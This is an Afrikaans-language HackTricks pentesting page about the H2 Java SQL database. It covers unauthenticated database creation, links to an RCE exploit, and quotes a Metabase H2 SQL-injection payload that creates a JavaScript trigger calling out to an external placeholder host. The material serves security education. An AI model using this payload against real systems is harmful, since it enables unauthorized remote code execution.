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62 lines
3.5 KiB
Markdown
62 lines
3.5 KiB
Markdown
# H2 - Java SQL-databasis
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{% hint style="success" %}
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Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Ondersteun HackTricks</summary>
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* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
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* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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Amptelike bladsy: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
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## Toegang
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Jy kan 'n **nie-bestaande naam van databasis** aandui om 'n **nuwe databasis sonder geldige akrediteer** (**nie-geverifieer**) te **skep**:
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.png>)
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Of as jy weet dat 'n **mysql aan die gang is** en jy die **databasisnaam** en die **akrediteer** vir daardie databasis ken, kan jy dit net toegang:
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.png>)
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_**Truk van die boks Hawk van HTB.**_
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## **RCE**
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As jy toegang het om met die H2-databasis te kommunikeer, kyk na hierdie exploit om RCE daarop te kry: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
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## H2 SQL-inspuiting na RCE
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In [**hierdie pos**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) word 'n payload verduidelik om **RCE via 'n H2-databasis** te verkry deur 'n **SQL-inspuiting** te misbruik.
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```json
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[...]
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"details":
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{
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"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
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"advanced-options": false,
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"ssl": true
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},
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[...]
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```
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{% hint style="success" %}
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Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Ondersteun HackTricks</summary>
|
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* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
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* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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